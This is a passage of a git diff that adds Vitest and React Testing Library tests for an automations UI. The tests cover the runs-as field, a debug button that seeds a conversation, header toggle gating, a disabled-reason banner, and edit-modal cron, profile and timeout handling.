+        automation={cronAutomation}
+        runsAs="jdoe@acme.com"
+      />,
+    );
+
+    // Assert
+    expect(screen.getByText("AUTOMATIONS$DETAIL$RUNS_AS")).toBeInTheDocument();
+    expect(screen.getByText("jdoe@acme.com")).toBeInTheDocument();
+  });
+
+  it("does not render the Automation Runs As field when no identity is provided", () => {
+    // Arrange / Act — local backends and in-flight lookups pass nothing.
+    render(<ConfigurationSection automation={cronAutomation} />);
+
+    // Assert
+    expect(
+      screen.queryByText("AUTOMATIONS$DETAIL$RUNS_AS"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/detail/debug-automation-button.test.tsx b/__tests__/components/automations/detail/debug-automation-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0041a2f1870b657b3dc21c2d279c66d02811a3f8
--- /dev/null
+++ b/__tests__/components/automations/detail/debug-automation-button.test.tsx
@@ -0,0 +1,161 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { DebugAutomationButton } from "#/components/features/automations/detail/debug-automation-button";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+
+// Mock the underlying services (not the useCreateConversation hook), so the
+// real hook logic — id mapping + onSuccess navigation — is exercised.
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: { createConversation: vi.fn() },
+  }),
+);
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: { listProfiles: vi.fn() },
+}));
+
+type CreatedConversation = Awaited<
+  ReturnType<typeof AgentServerConversationService.createConversation>
+>;
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const failedRun: AutomationRun = {
+  id: "run-9",
+  status: AutomationRunStatus.FAILED,
+  conversation_id: "conv-1",
+  bash_command_id: "cmd-1",
+  error_detail: "Process exited with code 1",
+  started_at: "2026-01-01T10:00:00Z",
+  completed_at: "2026-01-01T10:02:00Z",
+};
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Daily Jira digest",
+  prompt: "Summarize new Jira issues",
+  trigger: { type: "cron", schedule: "0 9 * * *" },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+function renderButton(stderr = "HTTP Error 410: Gone") {
+  const navigate = vi.fn();
+  const navValue: NavigationContextValue = {
+    currentPath: "/automations/auto-1",
+    conversationId: null,
+    isNavigating: false,
+    navigate,
+  };
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <NavigationProvider value={navValue}>
+          <DebugAutomationButton
+            run={failedRun}
+            automation={automation}
+            stderr={stderr}
+          />
+        </NavigationProvider>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+  return { navigate };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+  vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+    profiles: [],
+    active_profile: null,
+  });
+});
+
+afterEach(() => {
+  __resetActiveStoreForTests();
+});
+
+describe("DebugAutomationButton", () => {
+  it("seeds a new conversation with the run's error details and navigates to it", async () => {
+    // Arrange — a null app_conversation_id resolves to a `task-<id>` route.
+    vi.mocked(
+      AgentServerConversationService.createConversation,
+    ).mockResolvedValue({
+      id: "abc123",
+      app_conversation_id: null,
+      agent_server_url: null,
+    } as CreatedConversation);
+    const { navigate } = renderButton("HTTP Error 410: Gone");
+
+    // Act
+    fireEvent.click(screen.getByTestId("debug-automation-button"));
+
+    // Assert — the options object carries the debug prompt as the initial
+    // user message.
+    await waitFor(() =>
+      expect(
+        AgentServerConversationService.createConversation,
+      ).toHaveBeenCalledTimes(1),
+    );
+    const { initialUserMsg } =
+      vi.mocked(AgentServerConversationService.createConversation).mock
+        .calls[0][0] ?? {};
+    expect(initialUserMsg).toContain("HTTP Error 410: Gone");
+    expect(initialUserMsg).toContain("Daily Jira digest");
+
+    await waitFor(() =>
+      expect(navigate).toHaveBeenCalledWith("/conversations/task-abc123"),
+    );
+  });
+
+  it("disables the button while the conversation is being created", async () => {
+    // Arrange — a never-settling promise keeps the mutation pending.
+    vi.mocked(
+      AgentServerConversationService.createConversation,
+    ).mockReturnValue(new Promise<CreatedConversation>(() => {}));
+    renderButton();
+
+    const button = screen.getByTestId("debug-automation-button");
+
+    // Act
+    fireEvent.click(button);
+
+    // Assert
+    await waitFor(() => expect(button).toBeDisabled());
+    expect(button).toHaveAttribute("aria-busy", "true");
+  });
+});
diff --git a/__tests__/components/automations/detail/detail-header.test.tsx b/__tests__/components/automations/detail/detail-header.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6f315379383eb1cf771f14222a29f02c914ce5fd
--- /dev/null
+++ b/__tests__/components/automations/detail/detail-header.test.tsx
@@ -0,0 +1,65 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { DetailHeader } from "#/components/features/automations/detail/detail-header";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+const disabledAutomation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  prompt: "Summarize",
+  trigger: {
+    type: "cron",
+    schedule: "0 9 * * *",
+    schedule_human: "Daily at 09:00",
+  },
+  enabled: false,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+function renderHeader(
+  props: Partial<React.ComponentProps<typeof DetailHeader>> = {},
+) {
+  return render(
+    <DetailHeader
+      automation={disabledAutomation}
+      onToggle={vi.fn()}
+      onDelete={vi.fn()}
+      onExport={vi.fn()}
+      onDownloadTarball={vi.fn()}
+      {...props}
+    />,
+  );
+}
+
+describe("DetailHeader — enabled toggle gating", () => {
+  it("hides the switch and Turn on when canToggle is false but keeps Delete", async () => {
+    // Arrange — a manager who did not create this disabled automation.
+    const user = userEvent.setup();
+    renderHeader({ canManage: true, canToggle: false });
+
+    // Act
+    await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+
+    // Assert
+    expect(screen.queryByRole("switch")).not.toBeInTheDocument();
+    expect(
+      screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+    ).toBeInTheDocument();
+  });
+
+  it("follows canManage for the switch when canToggle is omitted", () => {
+    // Arrange / Act
+    renderHeader({ canManage: true });
+
+    // Assert
+    expect(
+      screen.getByRole("switch", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/detail/disabled-reason-banner.test.tsx b/__tests__/components/automations/detail/disabled-reason-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d3580b217ba34ed2ae46b3e626a0a67168a49315
--- /dev/null
+++ b/__tests__/components/automations/detail/disabled-reason-banner.test.tsx
@@ -0,0 +1,106 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { DisabledReasonBanner } from "#/components/features/automations/detail/disabled-reason-banner";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+const baseAutomation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  prompt: "Summarize",
+  trigger: { type: "cron", schedule: "0 9 * * *" },
+  enabled: false,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+describe("DisabledReasonBanner", () => {
+  it("renders nothing for an enabled automation even if a stale reason exists", () => {
+    const { container } = render(
+      <DisabledReasonBanner
+        automation={{
+          ...baseAutomation,
+          enabled: true,
+          disabled_reason: "Paused automatically: auth — bad key.",
+        }}
+      />,
+    );
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("renders nothing for an inactive automation with no recorded reason", () => {
+    const { container } = render(
+      <DisabledReasonBanner automation={{ ...baseAutomation, disabled_reason: null }} />,
+    );
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("surfaces the automatic-pause reason text and timestamp", () => {
+    const reason =
+      "Paused automatically: auth — Invalid API key. This failed the last 3 runs and needs a configuration fix.";
+    render(
+      <DisabledReasonBanner
+        automation={{
+          ...baseAutomation,
+          disabled_reason: reason,
+          disabled_detail: { reason: "consecutive_permanent_failures", source: "consecutive_permanent_failures" },
+          disabled_at: "2026-09-14T10:00:00Z",
+        }}
+      />,
+    );
+
+    expect(screen.getByTestId("automation-disabled-reason-banner")).toBeInTheDocument();
+    expect(screen.getByTestId("automation-disabled-reason-text")).toHaveTextContent(
+      reason,
+    );
+    expect(screen.getByTestId("automation-disabled-reason-timestamp")).toBeInTheDocument();
+  });
+
+  it("hides the timestamp when disabled_at is missing or invalid", () => {
+    render(
+      <DisabledReasonBanner
+        automation={{
+          ...baseAutomation,
+          disabled_reason: "Paused automatically: the last 5 runs all failed.",
+          disabled_detail: { reason: "consecutive_failures", source: "consecutive_failures" },
+          disabled_at: null,
+        }}
+      />,
+    );
+
+    expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+  });
+
+  it("hides the timestamp for an epoch/zero disabled_at", () => {
+    render(
+      <DisabledReasonBanner
+        automation={{
+          ...baseAutomation,
+          disabled_reason: "Paused automatically: the last 5 runs all failed.",
+          disabled_detail: { reason: "consecutive_failures", source: "consecutive_failures" },
+          disabled_at: "1970-01-01T00:00:00Z",
+        }}
+      />,
+    );
+
+    expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+  });
+
+  it("substitutes the manual-disable label", () => {
+    render(
+      <DisabledReasonBanner
+        automation={{
+          ...baseAutomation,
+          disabled_reason: "manual",
+          disabled_detail: { reason: "manual", source: "user" },
+          disabled_at: null,
+        }}
+      />,
+    );
+
+    expect(screen.getByTestId("automation-disabled-reason-text")).toHaveTextContent(
+      I18nKey.AUTOMATIONS$DETAIL$DISABLED_MANUAL,
+    );
+    expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+  });
+});
diff --git a/__tests__/components/automations/detail/edit-automation-modal.test.tsx b/__tests__/components/automations/detail/edit-automation-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6dc89f4ded5f6b7838a4ce837885d132ddff6716
--- /dev/null
+++ b/__tests__/components/automations/detail/edit-automation-modal.test.tsx
@@ -0,0 +1,696 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { EditAutomationModal } from "#/components/features/automations/detail/edit-automation-modal";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import {
+  displaySuccessToast,
+  displayErrorToast,
+} from "#/utils/custom-toast-handlers";
+import type { Automation } from "#/types/automation";
+import type { Backend } from "#/api/backend-registry/types";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    updateAutomation: vi.fn(),
+    getCapabilities: vi.fn(),
+  },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: {
+    listProfiles: vi.fn(),
+  },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+// The form is the interface manifest's, so these tests run against the
+// manifest the pinned package publishes — the one a user meets.
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const extensions = await import("@openhands/extensions/automations");
+  return {
+    ...(await importOriginal<typeof import("#/manifests/manifest-sources")>()),
+    AUTOMATION_INTERFACE_CANDIDATE: (
+      extensions as { AUTOMATION_INTERFACE?: unknown }
+    ).AUTOMATION_INTERFACE,
+  };
+});
+
+// The interface seam resolves its manifest once at module load, so the
+// manifest-driven test overrides individual attribute specs here instead of
+// installing a whole manifest. Empty overrides leave the published
+// manifest's form in force for every other test.
+const specOverrides = vi.hoisted(() => ({
+  current: {} as Record<string, object>,
+}));
+vi.mock("#/manifests/automation-interface", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/automation-interface")>();
+  return {
+    ...actual,
+    getAttributeSpec: (
+      name: Parameters<typeof actual.getAttributeSpec>[0],
+    ) => ({
+      ...actual.getAttributeSpec(name),
+      ...specOverrides.current[name],
+    }),
+  };
+});
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const dailyAutomation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  prompt: "Summarize yesterday's PRs",
+  trigger: { type: "cron", schedule: "0 9 * * *" },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+  timezone: "America/Los_Angeles",
+};
+
+const customAutomation: Automation = {
+  ...dailyAutomation,
+  id: "auto-2",
+  name: "Twice daily",
+  trigger: { type: "cron", schedule: "0 9,17 * * *" },
+};
+
+// An automation whose stored schedule this form's validator rejects.
+const rejectedScheduleAutomation: Automation = {
+  ...dailyAutomation,
+  id: "auto-6",
+  name: "Legacy schedule",
+  trigger: { type: "cron", schedule: "0 0 30 2 *" },
+};
+
+// An event-triggered automation. `buildInitialState` marks these as custom
+// schedules too, so they guard the submit path against cron validation.
+const eventAutomation: Automation = {
+  ...dailyAutomation,
+  id: "auto-5",
+  name: "On PR opened",
+  trigger: { type: "event", source: "github", on: "pull_request.opened" },
+};
+
+// A schedule automation pinned to a concrete LLM profile, used to exercise
+// the profile picker (the base fixtures intentionally leave `model` unset).
+const modeledAutomation: Automation = {
+  ...dailyAutomation,
+  id: "auto-3",
+  model: "fast",
+};
+
+// An automation carrying an explicit run timeout (in seconds). The base
+// fixtures intentionally leave `timeout` unset.
+const timeoutAutomation: Automation = {
+  ...dailyAutomation,
+  id: "auto-4",
+  timeout: 600,
+};
+
+const profilesResponse = {
+  profiles: [
+    {
+      name: "fast",
+      model: "anthropic/claude-haiku-4-5",
+      base_url: null,
+      api_key_set: true,
+    },
+    {
+      name: "careful",
+      model: "anthropic/claude-opus-4-8",
+      base_url: null,
+      api_key_set: true,
+    },
+  ],
+  active_profile: "fast",
+};
+
+function renderModal(automation: Automation) {
+  const onClose = vi.fn();
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  const utils = render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <EditAutomationModal automation={automation} isOpen onClose={onClose} />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+  return { ...utils, onClose };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  specOverrides.current = {};
+  __resetActiveStoreForTests();
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+  // Default to no profiles; tests that exercise the picker override this.
+  vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+    profiles: [],
+    active_profile: null,
+  });
+  vi.mocked(AutomationService.getCapabilities).mockResolvedValue({
+    ready: true,
+    maxAutomationTimeoutSeconds: 900,
+    triggerKinds: ["cron"],
+    eventSources: [],
+    eventTypes: [],
+    triggers: {},
+    features: [],
+  });
+});
+
+describe("EditAutomationModal", () => {
+  it("pre-fills current values and PATCHes only the fields that changed", async () => {
+    // Arrange — daily automation at 09:00 with a known prompt. The
+    // backend will echo back the merged result.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+      ...dailyAutomation,
+      name: "Morning digest",
+      prompt: "Summarize today's open PRs",
+      trigger: { type: "cron", schedule: "30 10 * * *" },
+    });
+    const user = userEvent.setup();
+    const { onClose } = renderModal(dailyAutomation);
+
+    // Sanity-check pre-fill: the inputs reflect the existing automation
+    // before the user edits anything.
+    const nameInput = screen.getByTestId(
+      "edit-automation-name",
+    ) as HTMLInputElement;
+    const timeInput = screen.getByTestId(
+      "edit-automation-time",
+    ) as HTMLInputElement;
+    expect(nameInput.value).toBe("Daily digest");
+    expect(timeInput.value).toBe("09:00");
+
+    // Act — change name, prompt, and time; leave frequency at Daily.
+    await user.clear(nameInput);
+    await user.type(nameInput, "Morning digest");
+    const promptInput = screen.getByTestId("edit-automation-prompt");
+    await user.clear(promptInput);
+    await user.type(promptInput, "Summarize today's open PRs");
+    await user.clear(timeInput);
+    await user.type(timeInput, "10:30");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — PATCH body contains exactly the diff (no untouched
+    // fields like enabled/repository), and the success path closes
+    // the modal + toasts the user.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-1", {
+      name: "Morning digest",
+      prompt: "Summarize today's open PRs",
+      trigger: { type: "cron", schedule: "30 10 * * *" },
+    });
+    await waitFor(() => {
+      expect(displaySuccessToast).toHaveBeenCalledTimes(1);
+    });
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("blocks submit and shows a validation error when the name is empty", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderModal(dailyAutomation);
+
+    // Act — clear the name and try to save.
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — no PATCH fired, inline error appears.
+    expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+    expect(
+      screen.getByTestId("edit-automation-name-error"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the cron field and skips schedule mutation for non-preset cron", async () => {
+    // Arrange — schedule "0 9,17 * * *" is not a Daily/Weekdays/Weekly
+    // preset; frequency stays read-only but the expression itself, and
+    // the prompt/name, remain editable.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      customAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(customAutomation);
+
+    // The cron field is the user-visible signal that we're in custom mode.
+    expect(screen.getByTestId("edit-automation-cron")).toBeInTheDocument();
+    expect(screen.getByTestId("edit-automation-frequency")).toBeDisabled();
+
+    // Act — change only the name and save.
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH body does NOT include a trigger override, so
+    // the user's hand-tuned cron is preserved.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).not.toHaveProperty("trigger");
+    expect(body).toMatchObject({ name: "Renamed" });
+  });
+
+  it("sends the edited cron expression for a custom schedule", async () => {
+    // Arrange
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      customAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(customAutomation);
+
+    // The field starts pre-filled with the automation's own expression.
+    const cronInput = screen.getByTestId("edit-automation-cron");
+    expect(cronInput).toHaveValue("0 9,17 * * *");
+
+    // Act
+    await user.clear(cronInput);
+    await user.type(cronInput, "*/5 * * * *");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).toMatchObject({
+      trigger: { type: "cron", schedule: "*/5 * * * *" },
+    });
+  });
+
+  it("blocks an invalid cron expression instead of sending it", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderModal(customAutomation);
+
+    // Act — 60 is out of range for the minute field.
+    const cronInput = screen.getByTestId("edit-automation-cron");
+    await user.clear(cronInput);
+    await user.type(cronInput, "60 * * * *");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the error surfaces and nothing reaches the API.
+    expect(
+      await screen.findByText("AUTOMATIONS$ERROR_CRON_INVALID"),
+    ).toBeInTheDocument();
+    expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+  });
+
+  it("saves an unrelated edit without revalidating an untouched schedule", async () => {
+    // Arrange — the stored expression is one this form would reject.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      rejectedScheduleAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(rejectedScheduleAutomation);
+
+    // Act — change only the name.
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).not.toHaveProperty("trigger");
+    expect(body).toMatchObject({ name: "Renamed" });
+    expect(screen.queryByText("AUTOMATIONS$ERROR_CRON_INVALID")).toBeNull();
+  });
+
+  it("sends a named-day expression the automation service accepts", async () => {
+    // Arrange — croniter takes day names.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      customAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(customAutomation);
+
+    // Act
+    const cronInput = screen.getByTestId("edit-automation-cron");
+    await user.clear(cronInput);
+    await user.type(cronInput, "0 0 * * SUN");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).toMatchObject({
+      trigger: { type: "cron", schedule: "0 0 * * SUN" },
+    });
+  });
+
+  it("blocks a schedule that can never fire instead of sending it", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderModal(customAutomation);
+
+    // Act — February never has a 31st.
+    const cronInput = screen.getByTestId("edit-automation-cron");
+    await user.clear(cronInput);
+    await user.type(cronInput, "0 0 31 2 *");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert
+    expect(
+      await screen.findByText("AUTOMATIONS$ERROR_CRON_UNREACHABLE"),
+    ).toBeInTheDocument();
+    expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+  });
+
+  it("disables the time input while the cron field owns the schedule", () => {
+    // Arrange / Act
+    renderModal(customAutomation);
+
+    // Assert — the field no longer accepts input that save would discard.
+    expect(screen.getByTestId("edit-automation-time")).toBeDisabled();
+    expect(screen.getByTestId("edit-automation-cron")).toBeEnabled();
+  });
+
+  it("saves an event-triggered automation without a cron trigger", async () => {
+    // Arrange — these have no schedule, so cron validation must not run.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      eventAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(eventAutomation);
+
+    // Act
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).not.toHaveProperty("trigger");
+    expect(body).toMatchObject({ name: "Renamed" });
+  });
+
+  it("surfaces an error toast and keeps the modal open when the update fails", async () => {
+    // Arrange — backend rejects the PATCH.
+    vi.mocked(AutomationService.updateAutomation).mockRejectedValue(
+      new Error("backend down"),
+    );
+    const user = userEvent.setup();
+    const { onClose } = renderModal(dailyAutomation);
+
+    // Act — change the time to force a non-empty diff, then save.
+    const timeInput = screen.getByTestId("edit-automation-time");
+    await user.clear(timeInput);
+    await user.type(timeInput, "10:30");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — error toast fired, modal stays open.
+    await waitFor(() => {
+      expect(displayErrorToast).toHaveBeenCalledTimes(1);
+    });
+    expect(onClose).not.toHaveBeenCalled();
+  });
+
+  it("persists the newly selected LLM profile in the update payload", async () => {
+    // Arrange — automation currently runs on the "fast" profile, with a
+    // second "careful" profile available to switch to.
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+      ...modeledAutomation,
+      model: "careful",
+    });
+    const user = userEvent.setup();
+    const { onClose } = renderModal(modeledAutomation);
+
+    // The picker pre-fills with the automation's current profile once the
+    // available profiles have loaded.
+    await waitFor(() =>
+      expect(screen.getByLabelText("LLM profile")).toHaveValue("fast"),
+    );
+
+    // Act — switch to "careful" and save.
+    await user.click(screen.getByLabelText("LLM profile"));
+    await user.click(await screen.findByText("careful"));
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — only the profile changed, so the PATCH carries just `model`.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", {
+      model: "careful",
+    });
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("resets the LLM profile to active when 'Active profile' is selected", async () => {
+    // Arrange — automation pinned to "fast"; the backend re-resolves a null
+    // model back to whatever profile is active.
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+      ...modeledAutomation,
+      model: "fast",
+    });
+    const user = userEvent.setup();
+    renderModal(modeledAutomation);
+
+    // The picker pre-fills with the pinned profile once profiles have loaded.
+    await waitFor(() =>
+      expect(screen.getByLabelText("LLM profile")).toHaveValue("fast"),
+    );
+
+    // Act — clear the pin via the "Active profile" option, then save.
+    await user.click(screen.getByLabelText("LLM profile"));
+    await user.click(await screen.findByText("COMMON$ACTIVE_PROFILE"));
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH carries model: null so the backend resets to active.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", {
+      model: null,
+    });
+  });
+
+  it("omits the LLM profile from the payload when it is left unchanged", async () => {
+    // Arrange — profiles available; the user will only rename the automation.
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      modeledAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(modeledAutomation);
+
+    // Ensure we're on the profiles-available path before editing.
+    await screen.findByLabelText("LLM profile");
+
+    // Act — change only the name; leave the profile on "fast".
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed digest");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH renames but does not resend the unchanged profile.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).toMatchObject({ name: "Renamed digest" });
+    expect(body).not.toHaveProperty("model");
+  });
+
+  it("hides the LLM profile picker when no profiles are available", async () => {
+    // Arrange — beforeEach already mocks an empty profile list.
+    renderModal(dailyAutomation);
+
+    // Assert — once the (empty) profile list resolves, no picker is offered.
+    await waitFor(() => {
+      expect(screen.queryByLabelText("LLM profile")).not.toBeInTheDocument();
+    });
+  });
+
+  it("pre-fills the timeout and sends the new value when it changes", async () => {
+    // Arrange — automation currently times out after 600s.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+      ...timeoutAutomation,
+      timeout: 900,
+    });
+    const user = userEvent.setup();
+    renderModal(timeoutAutomation);
+
+    // Sanity-check pre-fill before editing.
+    const timeoutInput = screen.getByTestId(
+      "edit-automation-timeout",
+    ) as HTMLInputElement;
+    expect(timeoutInput.value).toBe("600");
+
+    // Act — raise the timeout to the deployment's 900-second maximum and save.
+    await user.clear(timeoutInput);
+    await user.type(timeoutInput, "900");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH carries just the new timeout.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", {
+      timeout: 900,
+    });
+  });
+
+  it("sends timeout: null when the timeout field is cleared", async () => {
+    // Arrange — automation has an explicit 600s timeout.
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+      ...timeoutAutomation,
+      timeout: null,
+    });
+    const user = userEvent.setup();
+    renderModal(timeoutAutomation);
+
+    // Act — clear the field to fall back to the server default, then save.
+    await user.clear(screen.getByTestId("edit-automation-timeout"));
